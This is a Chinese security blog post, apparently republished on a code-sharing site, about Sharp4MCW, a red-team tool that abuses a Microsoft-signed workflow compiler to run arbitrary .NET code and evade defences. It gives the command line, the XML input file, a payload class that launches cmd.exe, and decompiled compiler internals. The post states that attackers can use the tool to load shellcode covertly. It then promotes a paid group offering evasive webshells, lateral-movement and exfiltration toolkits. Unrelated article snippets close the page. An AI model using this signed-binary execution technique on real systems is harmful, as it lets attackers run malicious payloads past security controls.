.NET 一款具备签名用于绕过防护的工具

news2024/9/20 18:25:40

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

Sharp4MCW 是红队活动中常用的一款强大工具,具备微软签名的白名单特性,能够有效绕过许多安全防护机制。攻击者可以利用此工具加载Shellcode或启动其他二进制文件,从而达到隐蔽执行恶意代码的目的。

图片

03使用方法

运行 Sharp4MCW.exe 时,可以通过以下命令行格式进行操作,通常需要两个参数,具体命令如下所示。

Sharp4MCW.exe Sharp4MCW.txt Sharp4MCW.foo

其中,Sharp4MCW.txt 是关联的 .NET 代码文件,而 Sharp4MCW.foo 是需要被编译的文件,这里的扩展名可以是任意名称。执行命令后成功启动本地winver.exe进程。如下图所示。

图片

04原理解析

在 Sharp4MCW.txt 中,代码文件 Sharp4MCW.foo 通过以下 XML 结构进行关联:

<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
    <d2p1:string>Sharp4MCW.foo</d2p1:string>
</files>

在 Sharp4MCW.foo 文件中,可以嵌入 .NET 代码。例如下面的代码用于启动本地的 winver 进程

public class Sharp4MCW : SequentialWorkflowActivity {
    System.Diagnostics.Process.Start("cmd.exe", "/c winver");
}

Sharp4MCW 的工作原理主要依赖于 WorkflowCompiler 类来编译和执行代码。在这个过程中,WorkflowCompiler 类的 Compile 方法会接收编译参数和代码文件,并在独立的应用程序域中进行编译。编译完成后,代码会被加载并执行。

private static void Main(string[] args)
{
    if (args == null || args.Length != 2)
    {
        throw new ArgumentException(WrapperSR.GetString("InvalidArgumentsToMain"), "args");
    }
    CompilerInput compilerInput = Program.ReadCompilerInput(args[0]);
    WorkflowCompilerResults results = new WorkflowCompiler().Compile(
        MultiTargetingInfo.MultiTargetingUtilities.RenormalizeReferencedAssemblies(compilerInput.Parameters), 
        compilerInput.Files);
    Program.WriteCompilerOutput(args[1], results);
}

接着,这段代码通过创建一个新的应用程序域,安全地编译和执行代码文件,实现了隔离和隐蔽的攻击载荷执行。如下所示。

public sealed class WorkflowCompiler
{
    public WorkflowCompilerResults Compile(WorkflowCompilerParameters parameters, params string[] files)
    {
        if (parameters == null)
        {
            throw new ArgumentNullException("parameters");
        }
        if (files == null)
        {
            throw new ArgumentNullException("files");
        }

        AppDomainSetup setupInformation = AppDomain.CurrentDomain.SetupInformation;
        setupInformation.LoaderOptimization = LoaderOptimization.MultiDomainHost;
        AppDomain appDomain = AppDomain.CreateDomain("CompilerDomain", null, setupInformation);

        WorkflowCompilerInternal workflowCompilerInternal = (WorkflowCompilerInternal)
            appDomain.CreateInstanceAndUnwrap(Assembly.GetExecutingAssembly().FullName, typeof(WorkflowCompilerInternal).FullName);

        WorkflowCompilerResults workflowCompilerResults = workflowCompilerInternal.Compile(parameters, files);

        if (!workflowCompilerResults.Errors.HasErrors)
        {
            workflowCompilerResults.CompiledAssembly = Assembly.Load(File.ReadAllBytes(workflowCompilerResults.PathToAssembly));
            workflowCompilerResults.PathToAssembly = null;
        }

        return workflowCompilerResults;
    }
}

综上,Sharp4MCW 是红队工具集中非常实用的一款工具,利用微软签名的特性,可以在红队活动中有效绕过安全防护,攻击者可以在不同场景下使用不同的攻击载荷,使其具有很高的适应性和隐蔽性。

05.NET安全星球

从.NET Framework到.NET Core,从Web应用到PC端软件应用,并且每日分享.NET安全技术干货以及交流解答各类技术等问题。

图片

图片

图片

20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

图片

为了助力大家在2024国家级hvv演练中脱颖而出,我们特别整理出了一套涵盖dotNet安全矩阵星球的八大.NET相关方向工具集。

.NET 免杀WebShell
.NET 反序列化漏洞
.NET 安全防御绕过
.NET 内网信息收集
.NET 本地权限提升
.NET 内网横向移动
.NET 目标权限维持
.NET 数据外发传输

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2100831.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

踩坑-pycharm-终端闪退

问题&#xff1a; pycharm打开终端&#xff0c;终端直接闪退&#xff0c;打开其他项目&#xff0c;没事 原因&#xff1a; 之前在其他项目下载了allure&#xff0c;不知道怎么终端的path改了 解决&#xff1a; 此处&#xff0c;终端路径修改为如下即可&#xff1a;

HTML+CSS+Query实现二级菜单

在网页设计中&#xff0c;导航菜单是非常重要的部分之一&#xff0c;尤其是具有二级下拉菜单的导航栏&#xff0c;可以提升用户体验。本文将通过HTML、CSS和jQuery实现一个具有二级菜单标题的导航栏&#xff0c;并详细讲解每一步的实现过程。 <!DOCTYPE html> <html …

[数据集][目标检测]街头摊贩识别检测数据集VOC+YOLO格式758张1类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;758 标注数量(xml文件个数)&#xff1a;758 标注数量(txt文件个数)&#xff1a;758 标注类别…

信捷 XD PLC 双精度浮点数的初始化及传输

在用信捷XDH PLC进行运动控制时&#xff0c;加减速时间是个64位的双精度的浮点数&#xff0c;那么如果不在人机界面写到PLC&#xff0c;PLC自身也是可以初始化的&#xff0c;比如0.005,怎么办呢。 用FLT指令把 整数出单精度浮点数&#xff0c;然后EDIV指令把两个单精度浮点数相…

2025第五届广州国际新能源汽车产业智能制造技术展览会

2025第五届广州国际新能源汽车产业智能制造技术展览会 展会时间&#xff1a;2025年11月20日-22日 展会地点&#xff1a;广州保利世贸博览馆(PWTC Expo) 主题&#xff1a;能源绿色化&#xff0c;制造低碳化 400多家参展商&#xff1b;20000多名观众&#xff1b;20000平方米展出…

mysql索引,事务,约束

MySQL事务 1.什么事务 用于保证数据的一致性,它是由一组相关的dml语句组成,该租的dml语句要么全部成功要么全部失败. 2.事务和锁 当执行事务操作时(dml),MySQL会在表上加锁,防止其它用户改表的数据,这对用户来说很重要 mysql 数据库控制台事务的几个重要操作(基本操作 tra…

鸿蒙开发—黑马云音乐之播放页面(下)

目录 1.用户随意控制播放进度 2.歌曲暂停和播放控制和歌曲上一首、下一首播放控制 3.歌曲列表 4.歌曲列表数据动态化和背景雾化 5.唱针效果 6.结语 1.用户随意控制播放进度 src/main/ets/services/AvPlayerManager.ets&#xff1a; // 让播放对象从某个时间点开始播放 …

本地大语言模型部署及应用

01 模型 2024-07-24&#xff0c;Meta 正式发布新一代开源大模型 Llama 3.1 系列&#xff0c;该模型共有三个版本&#xff1a; 8B70B405B meta评估了超过 150 个语言覆盖范围广的基准数据集。比较了 Llama 3.1 与竞争性模型在真实世界场景下的表现。实验评估表明&#xff0c;L…

动态住宅IP代理的搭建指南:实现高效网络访问

在互联网的复杂环境中&#xff0c;动态住宅IP代理逐渐成为提升网络隐私和绕过IP限制的热门选择。相比于数据中心代理IP&#xff0c;动态住宅IP代理具有更高的隐蔽性和真实性&#xff0c;能够有效模拟真实用户的网络行为。本文将详细介绍动态住宅IP代理的搭建方法&#xff0c;帮…

iPhone、微信二选一?苹果、腾讯官方回应

KlipC报道&#xff1a;9月2日&#xff0c;有消息称&#xff0c;腾讯和苹果正在就APPStore的抽成问题在不断交涉&#xff0c;如若谈崩有可能导致微信下架&#xff0c;iPhone一旦升级到 iOS 18.2 系统可能将无法使用微信。 对此&#xff0c;苹果中国区技术顾问表示&#xff0c;“…

Vue 2 与 Vue 3 中 keep-alive 组件的深入解析

更多内容前往个人网站&#xff1a;孔乙己大叔 在 Vue.js 的开发中&#xff0c;keep-alive 是一个非常重要的内置组件&#xff0c;它允许我们将组件状态或实例保持在内存中&#xff0c;避免重新渲染和重新创建组件&#xff0c;这对于需要频繁切换但内容较为复杂的组件场景非常有…

如何在银河麒麟中快速查询网卡固件及驱动信息

如何在银河麒麟中快速查询网卡固件及驱动信息 1、第一步&#xff1a;找到网卡名称2、第二步&#xff1a;查询固件和驱动信息3、总结 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 在银河麒麟服务器操作系统中&#xff0c;如何查询网卡固件…

统一NLP和目标检测的DETR(一)——self attention、encoder、decoder

主流目标检测算法劣势 YOLO系列&#xff0c;它基于anchor来做&#xff0c;少不了要用MNS&#xff0c;导致速度相对较慢。 但今天介绍一款DETR&#xff0c;基于VIT的目标检测算法。 那么我们需要先深入过一遍VIT。 Vision transform 1、传统RNN网络的问题 单向&#xff1a;只…

vue3集成sql语句编辑器

使用的是codemirror 安装 pnpm add codemirror vue-codemirror --savepnpm add codemirror/lang-sqlpnpm add codemirror/theme-one-dark使用 <template><codemirror v-model"configSql" placeholder"Code goes here..." ref"codemirrorR…

热力图科普:数据可视化的利器

hello大家好&#xff0c;俺是没事爱瞎捣鼓又分享欲爆棚的叶同学&#xff01;&#xff01;&#xff01; 日常闲扯 哎呀&#xff0c;第一天上完课&#xff0c;给俺的感觉是&#xff08;热和惊喜&#xff09;&#xff0c;热是真热&#xff0c;从出租屋走到教学楼给我整的汗流浃背…

十七、网络编程

文章目录 一、网络相关的概念二、InetAddresss类三、Socket3.1 基本介绍 四、TCP网络通信编程4.1 应用案例1(使用字节流)4.2 应用案例2(使用字节流)4.3 应用案例3(使用字符流)4.4 应用案例4&#xff08;TCPFileCopy&#xff09;4.5 netstat 指令4.6 TCP网络通讯不为人知的秘密 …

为啥一定要考HCIE安全?这4个理由你不得不看

大家都知道&#xff0c;网络安全越来越成为企业和个人关注的焦点。 随着网络攻击的日益复杂和频繁&#xff0c;对于具备高级网络安全技能的专业人才的需求也在不断增长。HCIE-Security认证&#xff0c;作为华为推出的顶级信息安全认证&#xff0c;正是满足这一需求的黄金标准。…

inflight 守恒化简

设 x 为 E bw / delay 效能&#xff0c;y 为 flow 在瓶颈处的实际分配带宽&#xff0c;r 为时延&#xff0c;inflt 守恒模型的方程组如下&#xff1a; I ( t ) ∑ i 0 n w i ( t ) I(t)\displaystyle\sum_{i0}^n w_i(t) I(t)i0∑n​wi​(t) d x d t y r − x \dfrac{dx}{dt…

论文速读|自然语言的最优控制合成:机遇与挑战

项目地址&#xff1a;Optimal Control Synthesis from Natural Language: Opportunities and Challenges 介绍了一种从自然语言自动生成最优控制器的框架&#xff0c;该框架主要包括以下几个步骤&#xff1a;首先&#xff0c;通过人类用户提供的初始文本和系统描述&#xff0c;…

苹果系统中如何安装Python和PyCharm

1、Python官网下载安装包 Python官网下载苹果版本的安装包。 2、PyCharm官网下载安装包 3、下载完毕后安装Python 我采用的是在Windows下下载安装包&#xff0c;然后移动硬盘挂接到MacOS的方式进行安装。 双击开始安装Python Python安装完毕 4、Python安装完毕后的测定 注意直…